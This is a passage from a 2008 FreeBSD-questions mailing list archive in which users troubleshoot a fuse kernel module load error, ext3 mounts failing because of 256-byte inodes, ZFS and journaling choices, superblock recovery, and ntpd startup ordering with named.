wrote: From: Kevin Kinsey Subject: Re: kldload: can't load /usr/local/modules/fuse.ko: Exec format error & fusefs-ntfs-1.2531 To: dino_vliet@yahoo.com Cc: freebsd-questions@freebsd.org Date: Wednesday, December 3, 2008, 3:56 PM Dino Vliet wrote: > Hi people, > > kldload: can't load /usr/local/modules/fuse.ko: Exec format error What does $file /usr/local/modules/fuse.ko say, and do you have Linux support built and enabled? Kevin Kinsey -- A failure will not appear until a unit has passed final inspection. *********** Hi Kevin, That command gives the following result on my system: file /usr/local/modules/fuse.ko /usr/local/modules/fuse.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (FreeBSD), not stripped I don't have linux support build and enabled. Is it necessary? Thanks Dino From vogelke+software at pobox.com Wed Dec 3 10:48:25 2008 From: vogelke+software at pobox.com (Karl Vogel) Date: Wed Dec 3 10:48:32 2008 Subject: 5 TB server In-Reply-To: <139b44430811300745v350d25b7p680287d9a24544fe@mail.gmail.com> (valentin.bud@gmail.com) Message-ID: <20081203182147.2CED3B7C5@kev.msw.wpafb.af.mil> >> On Sun, 30 Nov 2008 17:45:40 +0200, >> "Valentin Bud" said: V> I perfectly agree with you and yes there might be monsters out there V> in the ZFS on FreeBSD but the fact that us (the community) embrace V> the change and apply it makes the development of it possible and even V> faster. I'm all in favor of more development as far as weeding out the corner cases is concerned. I just don't want one of those cases to be found on my production server. V> I have thought about a decent UPS and already told them that they V> should install an alarm system of some sort because neither I nor any V> IT company can warranty them physical security. Physical security is their problem; just make sure you point that out so you're not on the hook for it. The UPS is essential; power isn't terribly clean (from an IT perspective) where I work, and I'm not exactly in the backwoods of America. V> The room is not possible :|, that would have been great. What do you V> think about a rack of some sort? Make sure your rack has plenty of room for ventilation. My only complaints about racks are too much server crowding and noise. -- Karl Vogel I don't speak for the USAF or my company Why Trick or Treating is Better than Sex #6: It's OK when the person you're with fantasizes you're someone else, because you are. From patfbsd at davenulle.org Wed Dec 3 10:59:20 2008 From: patfbsd at davenulle.org (Patrick =?ISO-8859-15?Q?Lamaizi=E8re?=) Date: Wed Dec 3 10:59:29 2008 Subject: Best Journaling File System - ZFS/??? In-Reply-To: <20081203152044.I47300@wojtek.tensor.gdynia.pl> References: <20081203134633.57adc024@baby-jane> <20081203145731.U47196@wojtek.tensor.gdynia.pl> <20081203152044.I47300@wojtek.tensor.gdynia.pl> Message-ID: <20081203195916.7a62ea23@baby-jane> Le Wed, 3 Dec 2008 15:21:19 +0100 (CET), Wojciech Puchar a ?crit : > >>> I use gjournal since FreeBSD 7.0 and it seems to work fine. > >> is it really smart enough to not write everything twice or am i > >> wrong? > > > > It writes everything twice :) > > > > (but every journaling system has to write something twice) > > there is a big difference between something (metadata, short data > writes and everything (like huge file data) I don't know how Gjournal works, but it works below the filesystem (so i think it is not aware of metadata), see http://lists.freebsd.org/pipermail/freebsd-current/2006-June/064043.html From fernando.apesteguia at gmail.com Wed Dec 3 11:45:25 2008 From: fernando.apesteguia at gmail.com (=?ISO-8859-1?Q?Fernando_Apestegu=EDa?=) Date: Wed Dec 3 11:45:32 2008 Subject: Mounting ext3fs partition Message-ID: <1bd550a00812031145y7a94d7cbgf8c519ad35b2dce@mail.gmail.com> Hi all, I'm running FreeBSD 7.1-BETA2. I have several partitions/filesystems in my computer and I would like to have full access to all of them. I've mounted the NTFS partition without problems (though it is read-only, it's enough for me) I've compiled the kernel with the EXT2FS option. I can mount the partition with: mount -t ext2fs /dev/ad4s1 /mnt/linux note: the partition is actually a ext3fs... But if I enter the mount point and do "ls", I get: ls: /mnt/linux: Bad file descriptor What am I doing wrong? From Kevin at RawFedDogs.net Wed Dec 3 11:46:45 2008 From: Kevin at RawFedDogs.net (Kevin Monceaux) Date: Wed Dec 3 11:46:52 2008 Subject: Returning User With Filesystem/Memory Tuning Questions Message-ID: FreeBSD Fans, I think I've just about talked myself into coming back for another try. I've been a Linux user since the 1.x kernel days. I've tried switching my home desktop box to FreeBSD a couple of times now. The first time around was mainly to give ZFS a try. After getting tired of ZFS related crashes I ended up going back to Linux. After ZFS progressed a bit, and I had taken lots of notes on the tuning needed to make ZFS relatively happy, I tried again. That time around I got ZFS working fairly well but eventually got fed up with the lack of a stable flash plugin. On the one hand, I hate sites that try to force flash upon users. On the other hand, if someone sends me a link to an amusing sounding YouTube video or I want to view the radar map at Weather.com, etc., it's a pain to be among the flash impaired. I've been browsing the mailing lists from time to time and it sounds like flash is working well enough for the limited times I'd use it, so I'm considering giving it one more try. With any of the following questions any suggestions, including RTSM(Read The Smeggin Manual) suggestions, are welcomed. With RTSM suggestions, they are even more welcomed if they include which manual and section to read. :-) First, to ZFS or not to ZFS, that is the question. While I like some of the features ZFS has to offer, I realize it may be overkill for my needs. The main thing I'm looking for is the ability to combine all the space available on both hard drives of my home desktop box. One drive is 120GB and the other is 250GB. Well, actually, I think those are marketing gigabytes. I'd be happy with either having all the space combined and available to the root filesystem, or a separate UFS root filesystem and the remaining space available for everything else. The last time around I set up root on UFS + /var, /usr, /home, /tmp, etc., on ZFS using instructions which I think were located at: http://wiki.FreeBSD.org/JeremyChadwick/FreeBSD_7.x_on_a_ZFS_pool though that page appears to no longer exist. Could something like gvinum or gconcat be used to achieve the above or should I go with ZFS? The box in question is a hyperthreaded Pentium 4 with 3GB of RAM. If ZFS is a good choice, could someone point me towards the current tuning recommendations for ZFS? If I remember correctly, the last time around I had some occasional memory related application crashes. For example I had pan crash a few times trying to open a large newsgroups. At the times of the crashes it appeared there was still plenty of free RAM and swap space was never even touched. I know FreeBSD doesn't blindly allocate memory like Linux does, but I would like to tune things to take full advantage of my available memory. I searched Google and tweaked some settings, though I forget which ones, which helped but didn't completely eliminate the crashes. What settings should I be looking at to tune to make the best use of my 3GB of memory and swap space. The last time around I set up quite a bit of swap space and it didn't appear to ever be touched. I want to keep swapping to a minimum but would prefer to have a little swapping going on than to have a program crash trying to allocate memory when there's both RAM and swap space available. Taking the above filesystem question into consideration, and wanting a stable flash plugin, which FreeBSD version should I be going with? I forget what I was running last time, but RELENG_7 sounds familiar. Is the 7.1-BETA2 iso recent enough or do I need to go with some flavor of STABLE or CURRENT? Kevin http://www.RawFedDogs.net http://www.WacoAgilityGroup.org Bruceville, TX Si hoc legere scis nimium eruditionis habes. Longum iter est per praecepta, breve et efficax per exempla!!! From freebsd at edvax.de Wed Dec 3 11:56:05 2008 From: freebsd at edvax.de (Polytropon) Date: Wed Dec 3 11:56:13 2008 Subject: Mounting ext3fs partition In-Reply-To: <1bd550a00812031145y7a94d7cbgf8c519ad35b2dce@mail.gmail.com> References: <1bd550a00812031145y7a94d7cbgf8c519ad35b2dce@mail.gmail.com> Message-ID: <20081203205554.af97775e.freebsd@edvax.de> On Wed, 3 Dec 2008 20:45:23 +0100, "Fernando Apestegu?a" wrote: > But if I enter the mount point and do "ls", I get: > > ls: /mnt/linux: Bad file descriptor > > What am I doing wrong? Do you get the same error when the Linux partition is not mounted? I'm asking because I have a similar problem caused from a defective / missing inode. -- Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From wojtek at wojtek.tensor.gdynia.pl Wed Dec 3 11:58:58 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Wed Dec 3 11:59:04 2008 Subject: restore superblock In-Reply-To: <4936C1CA.2040501@videotron.ca> References: <4936C1CA.2040501@videotron.ca> Message-ID: <20081203205836.I48129@wojtek.tensor.gdynia.pl> fsck_ffs -b An alternate super block is usually located at block 32 for UFS1, and block 160 for UFS2. On Wed, 3 Dec 2008, PJ wrote: > I have been googling for superblock restore and things are a bit confusing. > Some of the commands don't seem to match current fsck parameters (notably -b > doesn't exist. > Apparently I should be able to reconstruct the superblock(s) on my /usr > partition (slice ?) as my searches found that there are backups of the > superblocks on the files systems. > But how do I find them and restore the corrupt ones? Not clear in my > searches. > I have another installation of fbsd 7.0 on another machine with the > partitioning identical and identical hdds. > How could I use the superblock and/or other information from the good > installation to repair the damaged one - or would it be possible to recover > the superblock info from the damaged one's backcups? > Phil Jourdan > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > > From fernando.apesteguia at gmail.com Wed Dec 3 12:05:39 2008 From: fernando.apesteguia at gmail.com (=?ISO-8859-1?Q?Fernando_Apestegu=EDa?=) Date: Wed Dec 3 12:05:46 2008 Subject: Mounting ext3fs partition In-Reply-To: <20081203205554.af97775e.freebsd@edvax.de> References: <1bd550a00812031145y7a94d7cbgf8c519ad35b2dce@mail.gmail.com> <20081203205554.af97775e.freebsd@edvax.de> Message-ID: <1bd550a00812031159gff32d35kd57019bcc2530e49@mail.gmail.com> On Wed, Dec 3, 2008 at 8:55 PM, Polytropon wrote: > On Wed, 3 Dec 2008 20:45:23 +0100, "Fernando Apestegu?a" wrote: >> But if I enter the mount point and do "ls", I get: >> >> ls: /mnt/linux: Bad file descriptor >> >> What am I doing wrong? > > Do you get the same error when the Linux partition is not > mounted? I'm asking because I have a similar problem caused > from a defective / missing inode. No, I don't get any errors if the filesystem is not mounted. But thanks for the hint, I didn't think about that possibility. Any clues? > > > > > -- > Polytropon > From Magdeburg, Germany > Happy FreeBSD user since 4.0 > Andra moi ennepe, Mousa, ... > From wojtek at wojtek.tensor.gdynia.pl Wed Dec 3 12:06:02 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Wed Dec 3 12:06:10 2008 Subject: Best Journaling File System - ZFS/??? In-Reply-To: <20081203195916.7a62ea23@baby-jane> References: <20081203134633.57adc024@baby-jane> <20081203145731.U47196@wojtek.tensor.gdynia.pl> <20081203152044.I47300@wojtek.tensor.gdynia.pl> <20081203195916.7a62ea23@baby-jane> Message-ID: <20081203210446.X48157@wojtek.tensor.gdynia.pl> > > I don't know how Gjournal works, but it works below the filesystem (so ^^^^^^^^^^^^^^^^^^^^^^^^^^ next lines shows you actually know. thanks for answer, for me it's definitely not worth using, i would prefer waiting for fsck every few months or less than to have much slower writes > i think it is not aware of metadata), see > http://lists.freebsd.org/pipermail/freebsd-current/2006-June/064043.html > > From josh.carroll at gmail.com Wed Dec 3 12:08:52 2008 From: josh.carroll at gmail.com (Josh Carroll) Date: Wed Dec 3 12:09:00 2008 Subject: Mounting ext3fs partition In-Reply-To: <1bd550a00812031145y7a94d7cbgf8c519ad35b2dce@mail.gmail.com> References: <1bd550a00812031145y7a94d7cbgf8c519ad35b2dce@mail.gmail.com> Message-ID: <8cb6106e0812031208k62c0979cjc97dd9fcdeb43b32@mail.gmail.com> On Wed, Dec 3, 2008 at 2:45 PM, Fernando Apestegu?a wrote: > Hi all, > > I'm running FreeBSD 7.1-BETA2. I have several partitions/filesystems > in my computer and I would like to have full access to all of them. > > I've mounted the NTFS partition without problems (though it is > read-only, it's enough for me) > > I've compiled the kernel with the EXT2FS option. I can mount the partition with: > > mount -t ext2fs /dev/ad4s1 /mnt/linux > > note: the partition is actually a ext3fs... > > But if I enter the mount point and do "ls", I get: > > ls: /mnt/linux: Bad file descriptor Is is possible you are running into a case where the inode size of the partition is not the previous default for e2fsprogs of 128. I have a patch that addresses this, but I am hesitant to suggest it, since I have not yet validated that it does not trample some additional ext2 metadata. However, in the testing I've done, it has worked with all the tests I've put it through. You can verify the inode size with: tune2fs -l /dev/ad4s1 | grep "Inode size" It is likely 256 (the new e2fsprogs default), in which case you will not be able to see or use the mount without a fix. If you're interested in my patch, let me know and I can send it to you (the machine it is hosted on is down at the moment). Thanks, Josh From dan-freebsd-questions at ourbrains.org Wed Dec 3 12:11:09 2008 From: dan-freebsd-questions at ourbrains.org (Dan) Date: Wed Dec 3 12:11:16 2008 Subject: Introduction In-Reply-To: <20081202134902.A15234@wojtek.tensor.gdynia.pl> References: <4935183E.1030100@kikinovak.net> <20081202134902.A15234@wojtek.tensor.gdynia.pl> Message-ID: <20081203201129.GA27647@ourbrains.org> Wojciech Puchar(wojtek@wojtek.tensor.gdynia.pl)@2008.12.02 13:49:57 +0100: > > unfortunately i was too unaware of *BSD systems and used linux, until it > got so unusable with time i started to actively seek something else. What became unusable? Kernel or the userland? From freebsd at edvax.de Wed Dec 3 12:11:29 2008 From: freebsd at edvax.de (Polytropon) Date: Wed Dec 3 12:11:36 2008 Subject: Mounting ext3fs partition In-Reply-To: <1bd550a00812031159gff32d35kd57019bcc2530e49@mail.gmail.com> References: <1bd550a00812031145y7a94d7cbgf8c519ad35b2dce@mail.gmail.com> <20081203205554.af97775e.freebsd@edvax.de> <1bd550a00812031159gff32d35kd57019bcc2530e49@mail.gmail.com> Message-ID: <20081203211125.8dfc2842.freebsd@edvax.de> On Wed, 3 Dec 2008 20:59:42 +0100, "Fernando Apestegu?a" wrote: > Any clues? >From ports: sysutils/e2fsprogs? I don't have a Linux partition here so I cannot check / confirm. Maybe you could use ext3.fsck from this port to check the file system before mounting it? -- Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From rsmith at xs4all.nl Wed Dec 3 12:21:58 2008 From: rsmith at xs4all.nl (Roland Smith) Date: Wed Dec 3 12:22:05 2008 Subject: Returning User With Filesystem/Memory Tuning Questions In-Reply-To: References: Message-ID: <20081203202155.GA84629@slackbox.xs4all.nl> On Wed, Dec 03, 2008 at 01:24:09PM -0600, Kevin Monceaux wrote: > FreeBSD Fans, > > I think I've just about talked myself into coming back for another try. > First, to ZFS or not to ZFS, that is the question. While I like some of > the features ZFS has to offer, I realize it may be overkill for my needs. > The main thing I'm looking for is the ability to combine all the space > available on both hard drives of my home desktop box. Well, gconcat should do the trick. But it carries a risk in the sense that if one of the drives dies, you loose your data. I can't comment on ZFS since I haven't used it. I have two identical disks in my desktop, one is used as a backup. > If I remember correctly, the last time around I had some occasional memory > related application crashes. For example I had pan crash a few times > trying to open a large newsgroups. I've never had problems with pan, but I don't use it much anymore. Setting options with malloc.conf(5) can aid you with finding memory bugs. Application crashed can also be due to bad hardware, especially memory. Make sure that you rule out hardware troubles before diving into the software. > I know FreeBSD doesn't blindly allocate memory like Linux does, > but I would like to tune things to take full advantage of my available > memory. To the best of my knowledge, FreeBSD will use all the memory you have within limits set by hardware and software (e.g. limits(1)). Obviously the address space of i386 is becoming limited these days, and part of the address space is reserved for the kernel (1 GB on i386, IIRC). > Taking the above filesystem question into consideration, and wanting a > stable flash plugin, which FreeBSD version should I be going with? Go with the most recent. 7.1 is getting ready, but if you're comfortable with following 7-STABLE that's OK as well. If you want the binary flash plugin you'll have to stick to the i386 architecture. It won't work on amd64. But that goes for most binary stuff. Roland -- R.F.Smith http://www.xs4all.nl/~rsmith/ [plain text _non-HTML_ PGP/GnuPG encrypted/signed email much appreciated] pgp: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 (KeyID: C321A725) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 195 bytes Desc: not available Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081203/8cb49bb4/attachment.pgp From nlandys at gmail.com Wed Dec 3 13:01:20 2008 From: nlandys at gmail.com (Nerius Landys) Date: Wed Dec 3 13:01:27 2008 Subject: named and ntpd start order in rc.d In-Reply-To: <560f92640811211647q551daccnaec4e8085bb8e042@mail.gmail.com> References: <560f92640811211647q551daccnaec4e8085bb8e042@mail.gmail.com> Message-ID: <560f92640812031301m5f51d2c7ia3bcf44454a47820@mail.gmail.com> > FreeBSD 7.0. I am having a problem when ntpd starts at bootup. It > continues to have 2 processes running, the process which does the DNS lookup > fails to exit, and ntpd fails to adjust the clock even after days of > running. Immediately after bootup and several hours or days later this is > what I get: > > # ps -U root | grep ntpd > 87837 ?? Ss 0:00.03 /usr/sbin/ntpd -c /etc/ntp.conf -p > /var/run/ntpd.pid > 87838 ?? S 0:00.00 /usr/sbin/ntpd -c /etc/ntp.conf -p > /var/run/ntpd.pid > > If I do a "/etc/rc.d/ntpd restart" on a running system it fixes the problem, > and only one of the ntpd processes remains, and the clock gets adjusted. > > I have named running as a caching name server on my system. The contents of > my /etc/resolv.conf: > > domain nerius.com > nameserver 127.0.0.1 > > My /etc/rc.conf: > > ... > named_enable="YES" > ntpd_enable="YES" > ... > > I believe that the problem with ntpd is that named is started AFTER ntpd. > > Trying to reproduce problem. On a running system. I shut down named. Then > I restart ntpd, then I start named. I can reproduce the problem that > happens on bootup - ntpd has 2 processes and does not adjust the clock. > Restarting ntpd while named is running fixes the problem > > I believe that the fix for this is to add a dependency to /etc/rc.d/ntpd > script, adding "named" to "REQUIRE" section in comments. In your opinion, > is this a robust fix? For example the line in my /etc/rc.d/ntpd script that > looks like so: > > # REQUIRE: DAEMON ntpdate cleanvar devfs > > would be changed to this: > > # REQUIRE: DAEMON ntpdate cleanvar devfs named Modifying /etc/rc.d/ntpd in this manner did not fix the problem. I still have 2 ntpd processes running indefinitely after bootup of the system, until I manually issue a "/etc/rc.d/ntpd restart", after which the ntpd runs fine. As a separate test, I tried adjusting my resolv.conf to point to an external name server, and I disabled named at startup, and used the original /etc/rc.d/ntpd. I still got the same problem - 2 ntpd processes running indefinitely. Does anyone know why I'm getting 2 ntpd processes running after bootup (and ntpd fails to adjust the clock as a result)? Any suggested fix would be appreciated. From fernando.apesteguia at gmail.com Wed Dec 3 13:38:11 2008 From: fernando.apesteguia at gmail.com (=?ISO-8859-1?Q?Fernando_Apestegu=EDa?=) Date: Wed Dec 3 13:38:17 2008 Subject: Mounting ext3fs partition In-Reply-To: <8cb6106e0812031208k62c0979cjc97dd9fcdeb43b32@mail.gmail.com> References: <1bd550a00812031145y7a94d7cbgf8c519ad35b2dce@mail.gmail.com> <8cb6106e0812031208k62c0979cjc97dd9fcdeb43b32@mail.gmail.com> Message-ID: <1bd550a00812031338o77f70007lbcc52325c91f5b3b@mail.gmail.com> On Wed, Dec 3, 2008 at 9:08 PM, Josh Carroll wrote: > On Wed, Dec 3, 2008 at 2:45 PM, Fernando Apestegu?a > wrote: >> Hi all, >> >> I'm running FreeBSD 7.1-BETA2. I have several partitions/filesystems >> in my computer and I would like to have full access to all of them. >> >> I've mounted the NTFS partition without problems (though it is >> read-only, it's enough for me) >> >> I've compiled the kernel with the EXT2FS option. I can mount the partition with: >> >> mount -t ext2fs /dev/ad4s1 /mnt/linux >> >> note: the partition is actually a ext3fs... >> >> But if I enter the mount point and do "ls", I get: >> >> ls: /mnt/linux: Bad file descriptor > > Is is possible you are running into a case where the inode size of the > partition is not the previous default for e2fsprogs of 128. I have a > patch that addresses this, but I am hesitant to suggest it, since I > have not yet validated that it does not trample some additional ext2 > metadata. However, in the testing I've done, it has worked with all > the tests I've put it through. > > You can verify the inode size with: > > tune2fs -l /dev/ad4s1 | grep "Inode size" > > It is likely 256 (the new e2fsprogs default), in which case you will > not be able to see or use the mount without a fix. If you're > interested in my patch, let me know and I can send it to you (the > machine it is hosted on is down at the moment). Hi josh, Exactly, it is 256. So according to you, I can't use the mounted filesystem, right? Could you please explain in more detail, what the problem is? Thanks in advance. > > Thanks, > Josh > From michael.copeland at gmail.com Wed Dec 3 13:48:29 2008 From: michael.copeland at gmail.com (michael) Date: Wed Dec 3 13:48:36 2008 Subject: hp dv2225nr laptop optical drive random ejects Message-ID: <4936FEA9.6030307@gmail.com> has anyone ever seen this happen? system is 8.0-current, drive is not being used and it will just eject while sitting on a table. the only error is from ata stating that the command was frozen or some sort. error isn't repeatable by user. I'm waiting for it to happen again so i can paste relevant info. From dino_vliet at yahoo.com Wed Dec 3 13:54:54 2008 From: dino_vliet at yahoo.com (Dino Vliet) Date: Wed Dec 3 13:55:02 2008 Subject: kldload: can't load /usr/local/modules/fuse.ko: Exec format error & fusefs-ntfs-1.253 SOLVED In-Reply-To: <790a9fff0812030317t579bb5c9kd950703f0a3ec976@mail.gmail.com> Message-ID: <809060.17846.qm@web51112.mail.re2.yahoo.com> --- On Wed, 12/3/08, Scot Hetzel wrote: From: Scot Hetzel Subject: Re: kldload: can't load /usr/local/modules/fuse.ko: Exec format error & fusefs-ntfs-1.253 To: dino_vliet@yahoo.com Cc: alepulver@freebsd.org, freebsd-questions@freebsd.org, freebsd-ports@freebsd.org Date: Wednesday, December 3, 2008, 12:17 PM On 12/3/08, Dino Vliet wrote: > Hi people, > > I can't use my maxtor basic 640gb external harddrive on Freebsd amd64 running 7.0 because when I try to load fusefs with this command, kldload /usr/local/modules/fuse.ko I get the following error: > > kldload: can't load /usr/local/modules/fuse.ko: Exec format error > > Adding fusefs_enable="YES" to /etc/rc.conf and fuse_load="YES" to /boot/loader.conf and rebooting doesn't help either, because then that error message is printed on the console. > > uname -a gives: > FreeBSD zouk.telfort.nl 7.0-RELEASE-p6 FreeBSD 7.0-RELEASE-p6 #1: Thu Nov 27 13:42:17 CET 2008 rgilaard@zouk.telfort.nl:/usr/obj/usr/src/sys/GENERIC amd64 > > pkg_info | grep fuse gives: > > fusefs-kmod-0.3.9.p1.20080208_4 Kernel module for fuse > fusefs-libs-2.7.3 FUSE allows filesystem implementation in userspace > fusefs-ntfs-1.2531 Mount NTFS partitions (read/write) and disk images > > Does anyone have a clue as to what is causing this behavior? How did you install the fusefs-kmod was it from a package or did you build it through the ports system? The most likely cause of this error is due to the fuse.ko module was not built against the same source as your kernel. Rebuild fusefs-kmod and that should resolve the problem. Scot Hi all, this did the trick, thanks! I rebuild my kernel and had to rebuild that port as well. Was sure I had done a portupgrade -fa before, but still it seemed I had to rebuild the port first. After this, I could start fusefs with the script in rc.d and after rebooting it recognized that option as well. Now I managed to mount my external disk with that as well, so everything is ok:-) Thanks again, Dino From josh.carroll at gmail.com Wed Dec 3 14:04:45 2008 From: josh.carroll at gmail.com (Josh Carroll) Date: Wed Dec 3 14:04:51 2008 Subject: Mounting ext3fs partition In-Reply-To: <1bd550a00812031338o77f70007lbcc52325c91f5b3b@mail.gmail.com> References: <1bd550a00812031145y7a94d7cbgf8c519ad35b2dce@mail.gmail.com> <8cb6106e0812031208k62c0979cjc97dd9fcdeb43b32@mail.gmail.com> <1bd550a00812031338o77f70007lbcc52325c91f5b3b@mail.gmail.com> Message-ID: <8cb6106e0812031401p45eb3f4di51b71e48d8819b@mail.gmail.com> > Hi josh, > > Exactly, it is 256. So according to you, I can't use the mounted > filesystem, right? > > Could you please explain in more detail, what the problem is? > > Thanks in advance. I believe around e2fsprogs version 1.40.5 or so, they changed the default inode size from 128 to 256. The current ext2fs driver in FreeBSD has a hard-coded inode size defined: #define EXT2_INODE_SIZE 128 I have a patch that dynamically determines this size, but I do not yet have a good enough understanding of the ext2/3 spec to decide if the changes I made are sufficient to fix the problem or if there is some risk of breakage because the extra 128 is required for some metadata of some sort. What happened in your case is something I was afraid of and what prompted me to look into a fix in the first place - namely, newer Linux distributions or even file systems created by e2fsprogs from ports in FreeBSD will be unusable with the current ext2fs driver, since it assumes a size of 128. There is some more information here regarding the patch and its current status: http://unix.derkeiler.com/Mailing-Lists/FreeBSD/stable/2008-11/msg00421.html I (or even better, someone more knowledgeable about file systems) need to read through the ext2/3 spec and determine if the changes I've made cause any breakage. Thanks, Josh From fleetadmiral73 at gmail.com Wed Dec 3 14:21:26 2008 From: fleetadmiral73 at gmail.com (Edward Pollock) Date: Wed Dec 3 14:21:33 2008 Subject: Installation medium undetected / Initial network setup Message-ID: <1228340840.6092.5.camel@echo-desktop> I am working with the Disc 1 ISO of 7-RELEASE. I am having difficulty when selecting the installation medium. When I choose CD/DVD, it returns "Error mounting /dev/acd0 on /dist. Input / Output error 5. I have already set up the partition, and used the auto mode to create slices. I also tried the FTP option, at which point it prompted me to setup my network interface, which I could not complete. I'm using built in nVidia ethernet that it recognizes. I enabled DHCP in the options menu. I know my default gateway IP, but am unsure what to provide as hostname or domain. I currently have a linux distro installed, so if there is a command i can run to retrieve the necessary info I can do that. From ccowart at rescomp.berkeley.edu Wed Dec 3 14:25:21 2008 From: ccowart at rescomp.berkeley.edu (Christopher Cowart) Date: Wed Dec 3 14:25:28 2008 Subject: Firewall with bridged interfaces and captive portal In-Reply-To: <200812030508.mB358SUx095910@banyan.cs.ait.ac.th> References: <200812030508.mB358SUx095910@banyan.cs.ait.ac.th> Message-ID: <20081203222520.GA19693@hal.rescomp.berkeley.edu> Olivier Nicole wrote: > I need to implement a firewall with bridged interfaces that offers > captive portal (authentication before opening the traffic). [...] > > Is there any solution that exists? > > I looked at pfSense, but captive portal does not work on bridged > interfaces; it's one or the other. > > Any other suggestion? Hello, We are using a combination of squid+ipfw. Although we are NATing the users, that really just introduces needless complexity that could be avoided with a bridging solution. Our web-app/captive portal/authentication program is written in-house; it's very tightly integrated with several existing pieces of infrastructure. I don't know if there are any solutions that will work out-of-the-box. I can get you more technical details if this is a direction you'd be interested in moving. -- Chris Cowart Network Technical Lead Network & Infrastructure Services, RSSP-IT UC Berkeley -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 833 bytes Desc: not available Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081203/becd938a/attachment.pgp From fernando.apesteguia at gmail.com Wed Dec 3 14:28:24 2008 From: fernando.apesteguia at gmail.com (=?ISO-8859-1?Q?Fernando_Apestegu=EDa?=) Date: Wed Dec 3 14:28:32 2008 Subject: Mounting ext3fs partition In-Reply-To: <8cb6106e0812031401p45eb3f4di51b71e48d8819b@mail.gmail.com> References: <1bd550a00812031145y7a94d7cbgf8c519ad35b2dce@mail.gmail.com> <8cb6106e0812031208k62c0979cjc97dd9fcdeb43b32@mail.gmail.com> <1bd550a00812031338o77f70007lbcc52325c91f5b3b@mail.gmail.com> <8cb6106e0812031401p45eb3f4di51b71e48d8819b@mail.gmail.com> Message-ID: <1bd550a00812031428h158c1339u3568508964450bd9@mail.gmail.com> On Wed, Dec 3, 2008 at 11:01 PM, Josh Carroll wrote: >> Hi josh, >> >> Exactly, it is 256. So according to you, I can't use the mounted >> filesystem, right? >> >> Could you please explain in more detail, what the problem is? >> >> Thanks in advance. > > I believe around e2fsprogs version 1.40.5 or so, they changed the > default inode size from 128 to 256. The current ext2fs driver in > FreeBSD has a hard-coded inode size defined: > > #define EXT2_INODE_SIZE 128 > > I have a patch that dynamically determines this size, but I do not yet > have a good enough understanding of the ext2/3 spec to decide if the > changes I made are sufficient to fix the problem or if there is some > risk of breakage because the extra 128 is required for some metadata > of some sort. > > What happened in your case is something I was afraid of and what > prompted me to look into a fix in the first place - namely, newer > Linux distributions or even file systems created by e2fsprogs from > ports in FreeBSD will be unusable with the current ext2fs driver, > since it assumes a size of 128. > > There is some more information here regarding the patch and its current status: > > http://unix.derkeiler.com/Mailing-Lists/FreeBSD/stable/2008-11/msg00421.html > > I (or even better, someone more knowledgeable about file systems) need > to read through the ext2/3 spec and determine if the changes I've made > cause any breakage. Ok, Thanks for the clarification and overall, thanks for the work of submitting the patch regardless of it is merged yet or not. > > Thanks, > Josh > From eculp at casasponti.net Wed Dec 3 14:32:59 2008 From: eculp at casasponti.net (eculp@casasponti.net) Date: Wed Dec 3 14:33:06 2008 Subject: loader.conf issues In-Reply-To: <20081203103803.V43611@emmett.excelsus.com> References: <20081203103803.V43611@emmett.excelsus.com> Message-ID: <20081203163253.17qwm4xctqaoccc4w@intranet.casasponti.net> Weldon S Godfrey 3 escribi?: > > I did a quick search for this and didn't see anyone seeing this. > > I am running 7.0-PRERELEASE amd64 > > This is my loader.conf: > > vm.kmem_size_max="16106127360" > vm.kmem_size="1073741824" > kern.maxvnodes="800000" I've always changed those variables in /etc/sysctl.conf ed > > However, this is what happens after reboot: > > store1# sysctl -a | grep kmem > vm.kmem_size_scale: 3 > vm.kmem_size_max: 3221225472 > vm.kmem_size_min: 0 > vm.kmem_size: 1073741824 > store1# sysctl -a | grep kern.maxvn > kern.maxvnodes: 100000 > store1# > > > Is there some issue with vm.kmem_size_max being larger than 3G? If > this has been fixed, let me know. I am using 7.0-RELEASE loader > from amd64 iso since for some reason, when I complile a new loader > on this Dell 2950-iii, I get an unusable loader (it just hangs > before the screen to select safe mode, single user mode, etc). > > Thanks, > > Weldon > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From nlandys at gmail.com Wed Dec 3 15:29:53 2008 From: nlandys at gmail.com (Nerius Landys) Date: Wed Dec 3 15:30:00 2008 Subject: named and ntpd start order in rc.d In-Reply-To: <560f92640812031301m5f51d2c7ia3bcf44454a47820@mail.gmail.com> References: <560f92640811211647q551daccnaec4e8085bb8e042@mail.gmail.com> <560f92640812031301m5f51d2c7ia3bcf44454a47820@mail.gmail.com> Message-ID: <560f92640812031529n5406e1c4s81a211ead06cb009@mail.gmail.com> >> FreeBSD 7.0. I am having a problem when ntpd starts at bootup. It >> continues to have 2 processes running, the process which does the DNS lookup >> fails to exit, and ntpd fails to adjust the clock even after days of >> running. Immediately after bootup and several hours or days later this is >> what I get: >> >> # ps -U root | grep ntpd >> 87837 ?? Ss 0:00.03 /usr/sbin/ntpd -c /etc/ntp.conf -p >> /var/run/ntpd.pid >> 87838 ?? S 0:00.00 /usr/sbin/ntpd -c /etc/ntp.conf -p >> /var/run/ntpd.pid >> >> If I do a "/etc/rc.d/ntpd restart" on a running system it fixes the problem, >> and only one of the ntpd processes remains, and the clock gets adjusted. >> >> I have named running as a caching name server on my system. The contents of >> my /etc/resolv.conf: >> >> domain nerius.com >> nameserver 127.0.0.1 >> >> My /etc/rc.conf: >> >> ... >> named_enable="YES" >> ntpd_enable="YES" >> ... >> >> I believe that the problem with ntpd is that named is started AFTER ntpd. >> >> Trying to reproduce problem. On a running system. I shut down named. Then >> I restart ntpd, then I start named. I can reproduce the problem that 